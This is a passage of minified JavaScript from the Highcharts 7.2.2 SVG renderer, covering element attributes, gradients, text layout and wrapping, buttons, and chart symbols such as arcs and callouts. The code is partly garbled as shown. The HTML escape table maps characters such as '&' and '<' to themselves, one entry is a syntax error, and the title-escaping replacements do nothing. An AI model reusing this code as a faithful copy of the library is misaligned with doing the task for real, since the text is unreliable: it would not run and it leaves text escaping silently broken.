n,a,l,h,c,p,u,f,g,m,v,x,y=this.renderer,b=[];t.fireEvent(this.renderer,"complexColor",{args:arguments},(function(){e.radialGradient?a="radialGradient":e.linearGradient&&(a="linearGradient"),a&&(l=e[a],c=y.gradients,u=e.stops,m=o.radialReference,r(l)&&(e[a]=l={x1:l[0],y1:l[1],x2:l[2],y2:l[3],gradientUnits:"userSpaceOnUse"}),"radialGradient"===a&&m&&!s(l.gradientUnits)&&(h=l,l=A(l,y.getRadialAttr(m,h),{gradientUnits:"userSpaceOnUse"})),d(l,(function(t,e){"id"!==e&&b.push(e,t)})),d(u,(function(t){b.push(t)})),b=b.join(","),c[b]?v=c[b].attr("id"):(l.id=v=t.uniqueKey(),c[b]=p=y.createElement(a).attr(l).add(y.defs),p.radAttr=h,p.stops=[],u.forEach((function(e){0===e[1].indexOf("rgba")?(n=t.color(e[1]),f=n.get("rgb"),g=n.get("a")):(f=e[1],g=1),e=y.createElement("stop").attr({offset:e[0],"stop-color":f,"stop-opacity":g}).add(p),p.stops.push(e)}))),x="url("+y.url+"#"+v+")",o.setAttribute(i,x),o.gradient=b,e.toString=function(){return x})}))},applyTextOutline:function(e){var s,o=this.element;-1!==e.indexOf("contrast")&&(e=e.replace(/contrast/g,this.renderer.getContrast(o.style.fill)));var n=(e=e.split(" "))[e.length-1];if((s=e[0])&&"none"!==s&&t.svg){this.fakeTS=!0,e=[].slice.call(o.getElementsByTagName("tspan")),this.ySetter=this.xSetter,s=s.replace(/(^[\d\.]+)(.*?)$/g,(function(t,e,i){return 2*e+i})),this.removeTextOutline(e);var a=o.firstChild;e.forEach((function(t,e){0===e&&(t.setAttribute("x",o.getAttribute("x")),e=o.getAttribute("y"),t.setAttribute("y",e||0),null===e&&o.setAttribute("y",0)),t=t.cloneNode(1),i(t,{class:"highcharts-text-outline",fill:n,stroke:n,"stroke-width":s,"stroke-linejoin":"round"}),o.insertBefore(t,a)}))}},removeTextOutline:function(t){for(var e,i=t.length;i--;)"highcharts-text-outline"===(e=t[i]).getAttribute("class")&&n(t,this.element.removeChild(e))},symbolCustomAttribs:"x y width height r start end innerR anchorX anchorY rounded".split(" "),attr:function(e,i,s,o){var n,a,r,l=this.element,h=this,c=this.symbolCustomAttribs;if("string"==typeof e&&void 0!==i){var p=e;(e={})[p]=i}return"string"==typeof e?h=(this[e+"Getter"]||this._defaultGetter).call(this,e,l):(d(e,(function(i,s){a=!1,o||O(this,s),this.symbolName&&-1!==t.inArray(s,c)&&(n||(this.symbolAttr(e),n=!0),a=!0),!this.rotation||"x"!==s&&"y"!==s||(this.doTransform=!0),a||((r=this[s+"Setter"]||this._defaultSetter).call(this,i,s,l),!this.styledMode&&this.shadows&&/^(width|height|visibility|x|y|d|transform|cx|cy|r)$/.test(s)&&this.updateShadows(s,i,r))}),this),this.afterSetters()),s&&s.call(this),h},afterSetters:function(){this.doTransform&&(this.updateTransform(),this.doTransform=!1)},updateShadows:function(t,e,i){for(var s=this.shadows,o=s.length;o--;)i.call(s[o],"height"===t?Math.max(e-(s[o].cutHeight||0),0):"d"===t?this.d:e,t,s[o])},addClass:function(t,e){var i=e?"":this.attr("class")||"";return(t=(t||"").split(/ /g).reduce((function(t,e){return-1===i.indexOf(e)&&t.push(e),t}),i?[i]:[]).join(" "))!==i&&this.attr("class",t),this},hasClass:function(t){return-1!==(this.attr("class")||"").split(" ").indexOf(t)},removeClass:function(t){return this.attr("class",(this.attr("class")||"").replace(c(t)?new RegExp(" ?"+t+" ?"):t,""))},symbolAttr:function(t){var e=this;"x y r start end width height innerR anchorX anchorY clockwise".split(" ").forEach((function(i){e[i]=p(t[i],e[i])})),e.attr({d:e.renderer.symbols[e.symbolName](e.x,e.y,e.width,e.height,e)})},clip:function(t){return this.attr("clip-path",t?"url("+this.renderer.url+"#"+t.id+")":"none")},crisp:function(t,e){e=e||t.strokeWidth||0;var i=Math.round(e)%2/2;return t.x=Math.floor(t.x||this.x||0)+i,t.y=Math.floor(t.y||this.y||0)+i,t.width=Math.floor((t.width||this.width||0)-2*i),t.height=Math.floor((t.height||this.height||0)-2*i),s(t.strokeWidth)&&(t.strokeWidth=e),t},css:function(t){var e=this.styles,s={},o=this.element,n="",r=!e,l=["textOutline","textOverflow","width"];if(t&&t.color&&(t.fill=t.color),e&&d(t,(function(t,i){t!==e[i]&&(s[i]=t,r=!0)})),r){if(e&&(t=a(e,s)),t)if(null===t.width||"auto"===t.width)delete this.textWidth;else if("text"===o.nodeName.toLowerCase()&&t.width)var h=this.textWidth=u(t.width);if(this.styles=t,h&&!L&&this.renderer.forExport&&delete t.width,o.namespaceURI===this.SVG_NS){var c=function(t,e){return"-"+e.toLowerCase()};d(t,(function(t,e){-1===l.indexOf(e)&&(n+=e.replace(/([A-Z])/g,c)+":"+t+";")})),n&&i(o,"style",n)}else y(o,t);this.added&&("text"===this.element.nodeName&&this.renderer.buildText(this),t&&t.textOutline&&this.applyTextOutline(t.textOutline))}return this},getStyle:function(t){return I.getComputedStyle(this.element||this,"").getPropertyValue(t)},strokeWidth:function(){if(!this.renderer.styledMode)return this["stroke-width"]||0;var t=this.getStyle("stroke-width");if(t.indexOf("px")===t.length-2)t=u(t);else{var e=k.createElementNS(D,"rect");i(e,{width:t,"stroke-width":0}),this.element.parentNode.appendChild(e),t=e.getBBox().width,e.parentNode.removeChild(e)}return t},on:function(t,e){var i=this,s=i.element;return M&&"click"===t?(s.ontouchstart=function(t){i.touchEventFired=Date.now(),t.preventDefault(),e.call(s,t)},s.onclick=function(t){(-1===I.navigator.userAgent.indexOf("Android")||1100<Date.now()-(i.touchEventFired||0))&&e.call(s,t)}):s["on"+t]=e,this},setRadialReference:function(t){var e=this.renderer.gradients[this.element.gradient];return this.element.radialReference=t,e&&e.radAttr&&e.animate(this.renderer.getRadialAttr(t,e.radAttr)),this},translate:function(t,e){return this.attr({translateX:t,translateY:e})},invert:function(t){return this.inverted=t,this.updateTransform(),this},updateTransform:function(){var t=this.translateX||0,e=this.translateY||0,i=this.scaleX,o=this.scaleY,n=this.inverted,a=this.rotation,r=this.matrix,l=this.element;n&&(t+=this.width,e+=this.height),t=["translate("+t+","+e+")"],s(r)&&t.push("matrix("+r.join(",")+")"),n?t.push("rotate(90) scale(-1,1)"):a&&t.push("rotate("+a+" "+p(this.rotationOriginX,l.getAttribute("x"),0)+" "+p(this.rotationOriginY,l.getAttribute("y")||0)+")"),(s(i)||s(o))&&t.push("scale("+p(i,1)+" "+p(o,1)+")"),t.length&&l.setAttribute("transform",t.join(" "))},toFront:function(){var t=this.element;return t.parentNode.appendChild(t),this},align:function(t,e,i){var s,o,a,r={},l=this.renderer,h=l.alignedObjects;t?(this.alignOptions=t,this.alignByTranslate=e,(!i||c(i))&&(this.alignTo=s=i||"renderer",n(h,this),h.push(this),i=null)):(t=this.alignOptions,e=this.alignByTranslate,s=this.alignTo),i=p(i,l[s],l),s=t.align,l=t.verticalAlign,h=(i.x||0)+(t.x||0);var d=(i.y||0)+(t.y||0);return"right"===s?o=1:"center"===s&&(o=2),o&&(h+=(i.width-(t.width||0))/o),r[e?"translateX":"x"]=Math.round(h),"bottom"===l?a=1:"middle"===l&&(a=2),a&&(d+=(i.height-(t.height||0))/a),r[e?"translateY":"y"]=Math.round(d),this[this.placed?"animate":"attr"](r),this.placed=!0,this.alignAttr=r,this},getBBox:function(t,e){var i,o,n=this.renderer,r=this.element,l=this.styles,h=this.textStr,c=n.cache,d=n.cacheKeys,u=r.namespaceURI===this.SVG_NS;e=p(e,this.rotation,0);var f=n.styledMode?r&&z.prototype.getStyle.call(r,"font-size"):l&&l.fontSize;if(s(h)){var g=h.toString();-1===g.indexOf("<")&&(g=g.replace(/[0-9]/g,"0")),g+=["",e,f,this.textWidth,l&&l.textOverflow].join()}if(g&&!t&&(i=c[g]),!i){if(u||n.forExport){try{(o=this.fakeTS&&function(t){[].forEach.call(r.querySelectorAll(".highcharts-text-outline"),(function(e){e.style.display=t}))})&&o("none"),i=r.getBBox?a({},r.getBBox()):{width:r.offsetWidth,height:r.offsetHeight},o&&o("")}catch(t){}(!i||0>i.width)&&(i={width:0,height:0})}else i=this.htmlGetBBox();if(n.isSVG&&(t=i.width,n=i.height,u&&(i.height=n={"11px,17":14,"13px,20":16}[l&&l.fontSize+","+Math.round(n)]||n),e&&(l=e*w,i.width=Math.abs(n*Math.sin(l))+Math.abs(t*Math.cos(l)),i.height=Math.abs(n*Math.cos(l))+Math.abs(t*Math.sin(l)))),g&&0<i.height){for(;250<d.length;)delete c[d.shift()];c[g]||d.push(g),c[g]=i}}return i},show:function(t){return this.attr({visibility:t?"inherit":"visible"})},hide:function(t){return t?this.attr({y:-9999}):this.attr({visibility:"hidden"}),this},fadeOut:function(t){var e=this;e.animate({opacity:0},{duration:t||150,complete:function(){e.attr({y:-9999})}})},add:function(t){var e=this.renderer,i=this.element;if(t&&(this.parentGroup=t),this.parentInverted=t&&t.inverted,void 0!==this.textStr&&e.buildText(this),this.added=!0,!t||t.handleZ||this.zIndex)var s=this.zIndexSetter();return s||(t?t.element:e.box).appendChild(i),this.onAdd&&this.onAdd(),this},safeRemoveChild:function(t){var e=t.parentNode;e&&e.removeChild(t)},destroy:function(){var t=this,e=t.element||{},i=t.renderer,s=i.isSVG&&"SPAN"===e.nodeName&&t.parentGroup,o=e.ownerSVGElement,a=t.clipPath;if(e.onclick=e.onmouseout=e.onmouseover=e.onmousemove=e.point=null,O(t),a&&o&&([].forEach.call(o.querySelectorAll("[clip-path],[CLIP-PATH]"),(function(t){-1<t.getAttribute("clip-path").indexOf(a.element.id)&&t.removeAttribute("clip-path")})),t.clipPath=a.destroy()),t.stops){for(o=0;o<t.stops.length;o++)t.stops[o]=t.stops[o].destroy();t.stops=null}for(t.safeRemoveChild(e),i.styledMode||t.destroyShadows();s&&s.div&&0===s.div.childNodes.length;)e=s.parentGroup,t.safeRemoveChild(s.div),delete s.div,s=e;t.alignTo&&n(i.alignedObjects,t),d(t,(function(e,i){t[i]&&t[i].parentGroup===t&&t[i].destroy&&t[i].destroy(),delete t[i]}))},shadow:function(t,e,s){var o,n=[],a=this.element;if(t){if(!this.shadows){var r=p(t.width,3),l=(t.opacity||.15)/r,h=this.parentInverted?"(-1,-1)":"("+p(t.offsetX,1)+", "+p(t.offsetY,1)+")";for(o=1;o<=r;o++){var c=a.cloneNode(0),d=2*r+1-2*o;i(c,{stroke:t.color||"#000000","stroke-opacity":l*o,"stroke-width":d,transform:"translate"+h,fill:"none"}),c.setAttribute("class",(c.getAttribute("class")||"")+" highcharts-shadow"),s&&(i(c,"height",Math.max(i(c,"height")-d,0)),c.cutHeight=d),e?e.element.appendChild(c):a.parentNode&&a.parentNode.insertBefore(c,a),n.push(c)}this.shadows=n}}else this.destroyShadows();return this},destroyShadows:function(){(this.shadows||[]).forEach((function(t){this.safeRemoveChild(t)}),this),this.shadows=void 0},xGetter:function(t){return"circle"===this.element.nodeName&&("x"===t?t="cx":"y"===t&&(t="cy")),this._defaultGetter(t)},_defaultGetter:function(t){return t=p(this[t+"Value"],this[t],this.element?this.element.getAttribute(t):null,0),/^[\-0-9\.]+$/.test(t)&&(t=parseFloat(t)),t},dSetter:function(t,e,i){t&&t.join&&(t=t.join(" ")),/(NaN| {2}|^$)/.test(t)&&(t="M 0 0"),this[e]!==t&&(i.setAttribute(e,t),this[e]=t)},dashstyleSetter:function(t){var e,i=this["stroke-width"];if("inherit"===i&&(i=1),t=t&&t.toLowerCase()){for(e=(t=t.replace("shortdashdotdot","3,1,1,1,1,1,").replace("shortdashdot","3,1,1,1").replace("shortdot","1,1,").replace("shortdash","3,1,").replace("longdash","8,3,").replace(/dot/g,"1,3,").replace("dash","4,3,").replace(/,$/,"").split(",")).length;e--;)t[e]=u(t[e])*i;t=t.join(",").replace(/NaN/g,"none"),this.element.setAttribute("stroke-dasharray",t)}},alignSetter:function(t){var e={left:"start",center:"middle",right:"end"};e[t]&&(this.alignValue=t,this.element.setAttribute("text-anchor",e[t]))},opacitySetter:function(t,e,i){this[e]=t,i.setAttribute(e,t)},titleSetter:function(t){var e=this.element.getElementsByTagName("title")[0];e||(e=k.createElementNS(this.SVG_NS,"title"),this.element.appendChild(e)),e.firstChild&&e.removeChild(e.firstChild),e.appendChild(k.createTextNode(String(p(t,"")).replace(/<[^>]*>/g,"").replace(/</g,"<").replace(/>/g,">")))},textSetter:function(t){t!==this.textStr&&(delete this.bBox,delete this.textPxLength,this.textStr=t,this.added&&this.renderer.buildText(this))},setTextPath:function(e,i){var o=this.element,n={textAnchor:"text-anchor"},a=!1,r=this.textPathWrapper,l=!r,h=(i=A(!0,{enabled:!0,attributes:{dy:-5,startOffset:"50%",textAnchor:"middle"}},i)).attributes;if(e&&i&&i.enabled){this.options&&this.options.padding&&(h.dx=-this.options.padding),r||(this.textPathWrapper=r=this.renderer.createElement("textPath"),a=!0);var c=r.element;if((i=e.element.getAttribute("id"))||e.element.setAttribute("id",i=t.uniqueKey()),l)for(e=o.getElementsByTagName("tspan");e.length;)e[0].setAttribute("y",0),c.appendChild(e[0]);a&&r.add({element:this.text?this.text.element:o}),c.setAttributeNS("http://www.w3.org/1999/xlink","href",this.renderer.url+"#"+i),s(h.dy)&&(c.parentNode.setAttribute("dy",h.dy),delete h.dy),s(h.dx)&&(c.parentNode.setAttribute("dx",h.dx),delete h.dx),d(h,(function(t,e){c.setAttribute(n[e]||e,t)})),o.removeAttribute("transform"),this.removeTextOutline.call(r,[].slice.call(o.getElementsByTagName("tspan"))),this.text&&!this.renderer.styledMode&&this.attr({fill:"none","stroke-width":0}),this.applyTextOutline=this.updateTransform=E}else r&&(delete this.updateTransform,delete this.applyTextOutline,this.destroyTextPath(o,e));return this},destroyTextPath:function(t,e){var i;for(e.element.setAttribute("id",""),i=this.textPathWrapper.element.childNodes;i.length;)t.firstChild.appendChild(i[0]);t.firstChild.removeChild(this.textPathWrapper.element),delete e.textPathWrapper},fillSetter:function(t,e,i){"string"==typeof t?i.setAttribute(e,t):t&&this.complexColor(t,e,i)},visibilitySetter:function(t,e,i){"inherit"===t?i.removeAttribute(e):this[e]!==t&&i.setAttribute(e,t),this[e]=t},zIndexSetter:function(t,e){var i=this.renderer,o=this.parentGroup,n=(o||i).element||i.box,a=this.element,r=!1;i=n===i.box;var l,h=this.added;if(s(t)?(a.setAttribute("data-z-index",t),t=+t,this[e]===t&&(h=!1)):s(this[e])&&a.removeAttribute("data-z-index"),this[e]=t,h){for((t=this.zIndex)&&o&&(o.handleZ=!0),l=(e=n.childNodes).length-1;0<=l&&!r;l--){h=(o=e[l]).getAttribute("data-z-index");var c=!s(h);o!==a&&(0>t&&c&&!i&&!l?(n.insertBefore(a,e[l]),r=!0):(u(h)<=t||c&&(!s(t)||0<=t))&&(n.insertBefore(a,e[l+1]||null),r=!0))}r||(n.insertBefore(a,e[i?3:0]||null),r=!0)}return r},_defaultSetter:function(t,e,i){i.setAttribute(e,t)}}),z.prototype.yGetter=z.prototype.xGetter,z.prototype.translateXSetter=z.prototype.translateYSetter=z.prototype.rotationSetter=z.prototype.verticalAlignSetter=z.prototype.rotationOriginXSetter=z.prototype.rotationOriginYSetter=z.prototype.scaleXSetter=z.prototype.scaleYSetter=z.prototype.matrixSetter=function(t,e){this[e]=t,this.doTransform=!0},z.prototype["stroke-widthSetter"]=z.prototype.strokeSetter=function(t,e,i){this[e]=t,this.stroke&&this["stroke-width"]?(z.prototype.fillSetter.call(this,this.stroke,"stroke",i),i.setAttribute("stroke-width",this["stroke-width"]),this.hasStroke=!0):"stroke-width"===e&&0===t&&this.hasStroke?(i.removeAttribute("stroke"),this.hasStroke=!1):this.renderer.styledMode&&this["stroke-width"]&&(i.setAttribute("stroke-width",this["stroke-width"]),this.hasStroke=!0)},e=t.SVGRenderer=function(){this.init.apply(this,arguments)},a(e.prototype,{Element:z,SVG_NS:D,init:function(t,e,s,o,n,a,r){var l,h=this.createElement("svg").attr({version:"1.1",class:"highcharts-root"});r||h.css(this.getStyle(o)),o=h.element,t.appendChild(o),i(t,"dir","ltr"),-1===t.innerHTML.indexOf("xmlns")&&i(o,"xmlns",this.SVG_NS),this.isSVG=!0,this.box=o,this.boxWrapper=h,this.alignedObjects=[],this.url=(S||C)&&k.getElementsByTagName("base").length?I.location.href.split("#")[0].replace(/<[^>]*>/g,"").replace(/([\('\)])/g,"\\$1").replace(/ /g,"%20"):"",this.createElement("desc").add().element.appendChild(k.createTextNode("Created with Highcharts 7.2.2")),this.defs=this.createElement("defs").add(),this.allowHTML=a,this.forExport=n,this.styledMode=r,this.gradients={},this.cache={},this.cacheKeys=[],this.imgCount=0,this.setSize(e,s,!1),S&&t.getBoundingClientRect&&((e=function(){y(t,{left:0,top:0}),l=t.getBoundingClientRect(),y(t,{left:Math.ceil(l.left)-l.left+"px",top:Math.ceil(l.top)-l.top+"px"})})(),this.unSubPixelFix=g(I,"resize",e))},definition:function(t){var e=this;return function t(i,s){var o;return f(i).forEach((function(i){var n=e.createElement(i.tagName),a={};d(i,(function(t,e){"tagName"!==e&&"children"!==e&&"textContent"!==e&&(a[e]=t)})),n.attr(a),n.add(s||e.defs),i.textContent&&n.element.appendChild(k.createTextNode(i.textContent)),t(i.children||[],n),o=n})),o}(t)},getStyle:function(t){return this.style=a({fontFamily:'"Lucida Grande", "Lucida Sans Unicode", Arial, Helvetica, sans-serif',fontSize:"12px"},t)},setStyle:function(t){this.boxWrapper.css(this.getStyle(t))},isHidden:function(){return!this.boxWrapper.getBBox().width},destroy:function(){var t=this.defs;return this.box=null,this.boxWrapper=this.boxWrapper.destroy(),o(this.gradients||{}),this.gradients=null,t&&(this.defs=t.destroy()),this.unSubPixelFix&&this.unSubPixelFix(),this.alignedObjects=null},createElement:function(t){var e=new this.Element;return e.init(this,t),e},draw:E,getRadialAttr:function(t,e){return{cx:t[0]-t[2]/2+e.cx*t[2],cy:t[1]-t[2]/2+e.cy*t[2],r:e.r*t[2]}},truncate:function(t,e,i,s,o,n,a){var r,l,h=this,c=t.rotation,d=s?1:0,p=(i||s).length,u=p,f=[],g=function(t){e.firstChild&&e.removeChild(e.firstChild),t&&e.appendChild(k.createTextNode(t))},m=function(n,r){if(void 0===f[r=r||n])if(e.getSubStringLength)try{f[r]=o+e.getSubStringLength(0,s?r+1:r)}catch(t){}else h.getSpanWidth&&(g(a(i||s,n)),f[r]=o+h.getSpanWidth(t,e));return f[r]};t.rotation=0;var v=m(e.textContent.length);if(l=o+v>n){for(;d<=p;)u=Math.ceil((d+p)/2),s&&(r=a(s,u)),v=m(u,r&&r.length-1),d===p?d=p+1:v>n?p=u-1:d=u;0===p?g(""):i&&p===i.length-1||g(r||a(i||s,u))}return s&&s.splice(0,u),t.actualWidth=v,t.rotation=c,l},escapes:{"&":"&","<":"<",">":">","'":"'",'"':"""},buildText:function(t){var e,s,o=t.element,n=this,a=n.forExport,r=p(t.textStr,"").toString(),l=-1!==r.indexOf("<"),h=o.childNodes,c=i(o,"x"),f=t.styles,g=t.textWidth,m=f&&f.lineHeight,v=f&&f.textOutline,x=f&&"ellipsis"===f.textOverflow,b=f&&"nowrap"===f.whiteSpace,w=f&&f.fontSize,M=h.length;f=g&&!t.added&&this.box;var S=function(t){var e;return n.styledMode||(e=/(px|em)$/.test(t&&t.style.fontSize)?t.style.fontSize:w||n.style.fontSize||12),m?u(m):n.fontMetrics(e,t.getAttribute("style")?t:o).h},T=function(t,e){return d(n.escapes,(function(i,s){e&&-1!==e.indexOf(i)||(t=t.toString().replace(new RegExp(i,"g"),s))})),t},C=function(t,e){var i=t.indexOf("<");if(-1!==(i=(t=t.substring(i,t.indexOf(">")-i)).indexOf(e+"="))&&(i=i+e.length+1,'"'===(e=t.charAt(i))||"'"===e))return(t=t.substring(i+1)).substring(0,t.indexOf(e))},A=/<br.*?>/g,E=[r,x,b,m,v,w,g].join();if(E!==t.textCache){for(t.textCache=E;M--;)o.removeChild(h[M]);l||v||x||g||-1!==r.indexOf(" ")&&(!b||A.test(r))?(f&&f.appendChild(o),(r=(r=l?(r=n.styledMode?r.replace(/<(b|strong)>/g,'<span class="highcharts-strong">').replace(/<(i|em)>/g,'<span class="highcharts-emphasized">'):r.replace(/<(b|strong)>/g,'<span style="font-weight:bold">').replace(/<(i|em)>/g,'<span style="font-style:italic">')).replace(/<a/g,"<span").replace(/<\/(b|strong|i|em|a)>/g,"</span>").split(A):[r]).filter((function(t){return""!==t}))).forEach((function(r,l){var h=0,d=0,p=(r=r.replace(/^\s+|\s+$/g,"").replace(/<span/g,"|||<span").replace(/<\/span>/g,"</span>|||")).split("|||");p.forEach((function(r){if(""!==r||1===p.length){var u,f,m={},v=k.createElementNS(n.SVG_NS,"tspan");if((u=C(r,"class"))&&i(v,"class",u),(u=C(r,"style"))&&(u=u.replace(/(;| |^)color([ :])/,"$1fill$2"),i(v,"style",u)),(f=C(r,"href"))&&!a&&-1===f.split(":")[0].toLowerCase().indexOf("javascript")){var M=k.createElementNS(n.SVG_NS,"a");i(M,"href",f),i(v,"class","highcharts-anchor"),M.appendChild(v),n.styledMode||y(v,{cursor:"pointer"})}if(" "!==(r=T(r.replace(/<[a-zA-Z\/](.|\n)*?>/g,"")||" "))){if(v.appendChild(k.createTextNode(r)),h?m.dx=0:l&&null!==c&&(m.x=c),i(v,m),o.appendChild(M||v),!h&&s&&(!L&&a&&y(v,{display:"block"}),i(v,"dy",S(v))),g){var A=r.replace(/([^\^])-/g,"$1- ").split(" ");if(m=!b&&(1<p.length||l||1<A.length),M=0,f=S(v),x)e=n.truncate(t,v,r,void 0,0,Math.max(0,g-parseInt(w||12,10)),(function(t,e){return t.substring(0,e)+"…"}));else if(m)for(;A.length;)A.length&&!b&&0<M&&(v=k.createElementNS(D,"tspan"),i(v,{dy:f,x:c}),u&&i(v,"style",u),v.appendChild(k.createTextNode(A.join(" ").replace(/- /g,"-"))),o.appendChild(v)),n.truncate(t,v,null,A,0===M?d:0,g,(function(t,e){return A.slice(0,e).join(" ").replace(/- /g,"-")})),d=t.actualWidth,M++}h++}}})),s=s||o.childNodes.length})),x&&e&&t.attr("title",T(t.textStr,["<",">"])),f&&f.removeChild(o),v&&t.applyTextOutline&&t.applyTextOutline(v)):o.appendChild(k.createTextNode(T(r)))}},getContrast:function(t){return(t=x(t).rgba)[0]*=1,t[1]*=1.2,t[2]*=.5,459<t[0]+t[1]+t[2]?"#000000":"#FFFFFF"},button:function(t,e,i,s,o,n,r,l,h,c){var d=this.label(t,e,i,h,null,null,c,null,"button"),p=0,u=this.styledMode;if(d.attr(A({padding:8,r:2},o)),!u){var f=(o=A({fill:"#f7f7f7",stroke:"#cccccc","stroke-width":1,style:{color:"#333333",cursor:"pointer",fontWeight:"normal"}},o)).style;delete o.style;var m=(n=A(o,{fill:"#e6e6e6"},n)).style;delete n.style;var v=(r=A(o,{fill:"#e6ebf5",style:{color:"#000000",fontWeight:"bold"}},r)).style;delete r.style;var x=(l=A(o,{style:{color:"#cccccc"}},l)).style;delete l.style}return g(d.element,T?"mouseover":"mouseenter",(function(){3!==p&&d.setState(1)})),g(d.element,T?"mouseout":"mouseleave",(function(){3!==p&&d.setState(p)})),d.setState=function(t){1!==t&&(d.state=p=t),d.removeClass(/highcharts-button-(normal|hover|pressed|disabled)/).addClass("highcharts-button-"+["normal","hover","pressed","disabled"][t||0]),u||d.attr([o,n,r,l][t||0]).css([f,m,v,x][t||0])},u||d.attr(o).css(a({cursor:"default"},f)),d.on("click",(function(t){3!==p&&s.call(d,t)}))},crispLine:function(t,e){return t[1]===t[4]&&(t[1]=t[4]=Math.round(t[1])-e%2/2),t[2]===t[5]&&(t[2]=t[5]=Math.round(t[2])+e%2/2),t},path:function(t){var e=this.styledMode?{}:{fill:"none"};return r(t)?e.d=t:h(t)&&a(e,t),this.createElement("path").attr(e)},circle:function(t,e,i){return t=h(t)?t:void 0===t?{}:{x:t,y:e,r:i},(e=this.createElement("circle")).xSetter=e.ySetter=function(t,e,i){i.setAttribute("c"+e,t)},e.attr(t)},arc:function(t,e,i,s,o,n){return h(t)?(e=(s=t).y,i=s.r,t=s.x):s={innerR:s,start:o,end:n},(t=this.symbol("arc",t,e,i,i,s)).r=i,t},rect:function(t,e,s,o,n,a){n=h(t)?t.r:n;var r=this.createElement("rect");return t=h(t)?t:void 0===t?{}:{x:t,y:e,width:Math.max(s,0),height:Math.max(o,0)},this.styledMode||(void 0!==a&&(t.strokeWidth=a,t=r.crisp(t)),t.fill="none"),n&&(t.r=n),r.rSetter=function(t,e,s){r.r=t,i(s,{rx:t,ry:t})},r.rGetter=function(){return r.r},r.attr(t)},setSize:function(t,e,i){var s=this.alignedObjects,o=s.length;for(this.width=t,this.height=e,this.boxWrapper.animate({width:t,height:e},{step:function(){this.attr({viewBox:"0 0 "+this.attr("width")+" "+this.attr("height")})},duration:p(i,!0)?void 0:0});o--;)s[o].align()},g:function(t){var e=this.createElement("g");return t?e.attr({class:"highcharts-"+t}):e},image:function(t,e,i,s,o,n){var r={preserveAspectRatio:"none"},l=function(t,e){t.setAttributeNS?t.setAttributeNS("http://www.w3.org/1999/xlink","href",e):t.setAttribute("hc-svg-href",e)},h=function(e){l(c.element,t),n.call(c,e)};1<arguments.length&&a(r,{x:e,y:i,width:s,height:o});var c=this.createElement("image").attr(r);return n?(l(c.element,"data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="),r=new I.Image,g(r,"load",h),r.src=t,r.complete&&h({})):l(c.element,t),c},symbol:function(t,e,i,o,n,r){var l=this,h=/^url\((.*?)\)$/,c=h.test(t),d=!c&&(this.symbols[t]?t:"circle"),u=d&&this.symbols[d],f=s(e)&&u&&u.call(this.symbols,Math.round(e),Math.round(i),o,n,r);if(u){var g=this.path(f);l.styledMode||g.attr("fill","none"),a(g,{symbolName:d,x:e,y:i,width:o,height:n}),r&&a(g,r)}else if(c){var m=t.match(h)[1];(g=this.image(m)).imgwidth=p(_[m]&&_[m].width,r&&r.width),g.imgheight=p(_[m]&&_[m].height,r&&r.height);var x=function(){g.attr({width:g.width,height:g.height})};["width","height"].forEach((function(t){g[t+"Setter"]=function(t,e){var i={},o=this["img"+e],n="width"===e?"translateX":"translateY";this[e]=t,s(o)&&(r&&"within"===r.backgroundSize&&this.width&&this.height&&(o=Math.round(o*Math.min(this.width/this.imgwidth,this.height/this.imgheight))),this.element&&this.element.setAttribute(e,o),this.alignByTranslate||(i[n]=((this[e]||0)-o)/2,this.attr(i)))}})),s(e)&&g.attr({x:e,y:i}),g.isImg=!0,s(g.imgwidth)&&s(g.imgheight)?x():(g.attr({width:0,height:0}),b("img",{onload:function(){var t=v[l.chartIndex];0===this.width&&(y(this,{position:"absolute",top:"-999em"}),k.body.appendChild(this)),_[m]={width:this.width,height:this.height},g.imgwidth=this.width,g.imgheight=this.height,g.element&&x(),this.parentNode&&this.parentNode.removeChild(this),l.imgCount--,!l.imgCount&&t&&t.onload&&t.onload()},src:m}),this.imgCount++)}return g},symbols:{circle:function(t,e,i,s){return this.arc(t+i/2,e+s/2,i/2,s/2,{start:.5*Math.PI,end:2.5*Math.PI,open:!1})},square:function(t,e,i,s){return["M",t,e,"L",t+i,e,t+i,e+s,t,e+s,"Z"]},triangle:function(t,e,i,s){return["M",t+i/2,e,"L",t+i,e+s,t,e+s,"Z"]},"triangle-down":function(t,e,i,s){return["M",t,e,"L",t+i,e,t+i/2,e+s,"Z"]},diamond:function(t,e,i,s){return["M",t+i/2,e,"L",t+i,e+s/2,t+i/2,e+s,t,e+s/2,"Z"]},arc:function(t,e,i,o,n){var a=n.start,r=n.r||i,l=n.r||o||i,h=n.end-.001;i=n.innerR,o=p(n.open,.001>Math.abs(n.end-n.start-2*Math.PI));var c=Math.cos(a),d=Math.sin(a),u=Math.cos(h);return h=Math.sin(h),n=["M",t+r*c,e+l*d,"A",r,l,0,a=.001>n.end-a-Math.PI?0:1,p(n.clockwise,1),t+r*u,e+l*h],s(i)&&n.push(o?"M":"L",t+i*u,e+i*h,"A",i,i,0,a,0,t+i*c,e+i*d),n.push(o?"":"Z"),n},callout:function(t,e,i,s,o){var n=Math.min(o&&o.r||0,i,s),a=n+6,r=o&&o.anchorX;o=o&&o.anchorY;var l=["M",t+n,e,"L",t+i-n,e,"C",t+i,e,t+i,e,t+i,e+n,"L",t+i,e+s-n,"C",t+i,e+s,t+i,e+s,t+i-n,e+s,"L",t+n,e+s,"C",t,e+s,t,e+s,t,e+s-n,"L",t,e+n,"C",t,e,t,e,t+n,e];return r&&r>i?o>e+a&&o<e+s-a?l.splice(13,3,"L",t+i,o-6,t+i+6,o,t+i,o+6,t+i,e+s-n):l.splice(13,3,"L",t+i,s/2,r,o,t+i,s/2,t+i,e+s-n):r&&0>r?o>e+a&&o<e+s-a?l.splice(33,3,"L",t,o+6,t-6,o,t,o-6,t,e+n):l.splice(33,3,"L",t,s/2,r,o,t,s/2,t,e+n):o&&o>s&&r>t+a&&r<t+i-a?l.splice(23,3,"L",r+6,e+s,r,e+s+6,r-6,e+s,t+n,e+s):o&&0>o&&r>t+a&&r<t+i-a&&l.splice(3,3,"L",r-6,e,r,e-6,r+6,e,i-n,e),l}},clipRect:function(e,i,s,o){var n=t.uniqueKey()+"-",a=this.createElement("clipPath").attr({id:n}).add(this.defs);return(e=this.rect(e,i,s,o,0).add(a)).id=n,e.clipPath=a,e.count=0,e},text:function(t,e,i,o){var n={};return!o||!this.allowHTML&&this.forExport?(n.x=Math.round(e||0),i&&(n.y=Math.round(i)),s(t)&&(n.text=t),t=this.createElement("text").attr(n),o||(t.xSetter=function(t,e,i){var s,o=i.getElementsByTagName("tspan"),n=i.getAttribute(e);for(s=0;s<o.length;s++){var 